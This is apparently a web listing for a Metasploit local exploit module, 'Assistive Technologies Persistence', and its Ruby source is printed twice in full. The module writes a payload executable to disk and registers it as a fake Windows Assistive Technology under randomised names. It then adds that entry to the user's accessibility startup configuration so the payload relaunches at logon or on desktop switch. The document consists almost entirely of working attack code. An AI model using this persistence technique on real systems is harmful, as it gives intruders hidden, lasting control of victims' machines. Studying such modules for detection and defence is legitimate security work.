Description
This module achieves persistence by registering a custom Assistive Technology AT in the Windows registry. Then it configures the system to launch the AT executable during user logon or desktop switch such as with an admin prived program. Requires...
Basic Information
ID
MSF:EXPLOIT-WINDOWS-PERSISTENCE-ASSISTIVE_TECHNOLOGY-
Published
Dec 20, 2025 at 18:55
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv
AT_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs'
STARUP_REG_PATH = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Assistive Technologies Persistence',
'Description' => %q{
This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.
Then it configures the system to launch the AT executable during user logon or desktop switch (such as with
an admin prived program).
Requires Windows 8 or higher and administrative privileges.
},
'Author' => ['h00die'],
'Platform' => ['win'],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'SessionTypes' => ['meterpreter', 'shell'],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],
['URL', 'https://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/'],
['URL', 'https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb879984.aspx']
],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-07-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('NAME', [false, 'Name of assistive technolog to create. Random string as default.']),
OptString.new('DESCRIPTION', [false, 'Description of assistive technolog to create. Random string as default.']),
])
end
def create_at(at_name, payload_path)
target_key = "#{AT_REG_PATH}\\#{at_name}"
at_description = datastore['DESCRIPTION'] || Rex::Text.rand_text_alpha((rand(6..13)))
registry_createkey(target_key)
registry_setvaldata(target_key, 'ApplicationName', '@%SystemRoot%\\system32\\AccessibilityCPL.dll,-85', 'REG_EXPAND_SZ')
registry_setvaldata(target_key, 'ATExe', payload_path.split('\\').last, 'REG_SZ')
registry_setvaldata(target_key, 'CopySettingsToLockedDesktop', 1, 'REG_DWORD')
registry_setvaldata(target_key, 'Description', at_description, 'REG_SZ')
registry_setvaldata(target_key, 'Profile', '<HCIModel><Accommodation type="mild dexterity"</HCIModel>', 'REG_SZ') # https://learn.microsoft.com/en-us/windows/win32/winauto/ease-of-access---assistive-technology-registration?redirectedfrom=MSDN#hci-profile
registry_setvaldata(target_key, 'SimpleProfile', at_name, 'REG_SZ')
registry_setvaldata(target_key, 'StartExe', payload_path, 'REG_EXPAND_SZ')
registry_setvaldata(target_key, 'TerminateOnDesktopSwitch', 0, 'REG_DWORD')
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
version = get_version_info
return CheckCode::Safe('Only supported on Windows 8 and above') unless version.build_number >= Msf::WindowsVersion::Win8
return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
temp_path = writable_dir
payload_exe = generate_payload_exe
payload_pathname = temp_path + '\\' + payload_name
payload_pathname += '.exe' unless payload_pathname.downcase.end_with?('.exe')
vprint_status("Payload pathname: #{payload_pathname}")
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
at_name = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
vprint_status("Creating Assistive Technology #{at_name} registry entries")
create_at(at_name, payload_pathname)
vprint_status('Setting AT to start during login')
current_value = registry_getvaldata(STARUP_REG_PATH, 'Configuration')
new_value = current_value.empty? ? [] : current_value.split(',').map(&:strip)
new_value.append(at_name)
registry_setvaldata(STARUP_REG_PATH, 'Configuration', new_value.join(','), 'REG_SZ')
print_good('New AT added. Will launch on logon or desktop switch (such as with an admin prived program).')
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"
@clean_up_rc << "execute -f cmd.exe -a '/c reg delete \"#{AT_REG_PATH}\\#{at_name}\" /f' -H\n"
@clean_up_rc << "execute -f cmd.exe -a '/c reg add \"#{STARUP_REG_PATH}\" /v Configuration /t REG_SZ /d \"#{current_value}\" /f' -H\n"
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv
AT_REG_PATH = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs'
STARUP_REG_PATH = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Assistive Technologies Persistence',
'Description' => %q{
This module achieves persistence by registering a custom Assistive Technology (AT) in the Windows registry.
Then it configures the system to launch the AT executable during user logon or desktop switch (such as with
an admin prived program).
Requires Windows 8 or higher and administrative privileges.
},
'Author' => ['h00die'],
'Platform' => ['win'],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'SessionTypes' => ['meterpreter', 'shell'],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_008_ACCESSIBILITY_FEATURES],
['URL', 'https://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/'],
['URL', 'https://msdn.microsoft.com/ru-ru/library/windows/desktop/bb879984.aspx']
],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-07-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('NAME', [false, 'Name of assistive technolog to create. Random string as default.']),
OptString.new('DESCRIPTION', [false, 'Description of assistive technolog to create. Random string as default.']),
])
end
def create_at(at_name, payload_path)
target_key = "#{AT_REG_PATH}\\#{at_name}"
at_description = datastore['DESCRIPTION'] || Rex::Text.rand_text_alpha((rand(6..13)))
registry_createkey(target_key)
registry_setvaldata(target_key, 'ApplicationName', '@%SystemRoot%\\system32\\AccessibilityCPL.dll,-85', 'REG_EXPAND_SZ')
registry_setvaldata(target_key, 'ATExe', payload_path.split('\\').last, 'REG_SZ')
registry_setvaldata(target_key, 'CopySettingsToLockedDesktop', 1, 'REG_DWORD')
registry_setvaldata(target_key, 'Description', at_description, 'REG_SZ')
registry_setvaldata(target_key, 'Profile', '<HCIModel><Accommodation type="mild dexterity"</HCIModel>', 'REG_SZ') # https://learn.microsoft.com/en-us/windows/win32/winauto/ease-of-access---assistive-technology-registration?redirectedfrom=MSDN#hci-profile
registry_setvaldata(target_key, 'SimpleProfile', at_name, 'REG_SZ')
registry_setvaldata(target_key, 'StartExe', payload_path, 'REG_EXPAND_SZ')
registry_setvaldata(target_key, 'TerminateOnDesktopSwitch', 0, 'REG_DWORD')
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
version = get_version_info
return CheckCode::Safe('Only supported on Windows 8 and above') unless version.build_number >= Msf::WindowsVersion::Win8
return CheckCode::Safe('You have admin rights to run this Module') unless is_admin?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
temp_path = writable_dir
payload_exe = generate_payload_exe
payload_pathname = temp_path + '\\' + payload_name
payload_pathname += '.exe' unless payload_pathname.downcase.end_with?('.exe')
vprint_status("Payload pathname: #{payload_pathname}")
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
at_name = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
vprint_status("Creating Assistive Technology #{at_name} registry entries")
create_at(at_name, payload_pathname)
vprint_status('Setting AT to start during login')
current_value = registry_getvaldata(STARUP_REG_PATH, 'Configuration')
new_value = current_value.empty? ? [] : current_value.split(',').map(&:strip)
new_value.append(at_name)
registry_setvaldata(STARUP_REG_PATH, 'Configuration', new_value.join(','), 'REG_SZ')
print_good('New AT added. Will launch on logon or desktop switch (such as with an admin prived program).')
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '\\\\\\\\')}\"\n"
@clean_up_rc << "execute -f cmd.exe -a '/c reg delete \"#{AT_REG_PATH}\\#{at_name}\" /f' -H\n"
@clean_up_rc << "execute -f cmd.exe -a '/c reg add \"#{STARUP_REG_PATH}\" /v Configuration /t REG_SZ /d \"#{current_value}\" /f' -H\n"
end
end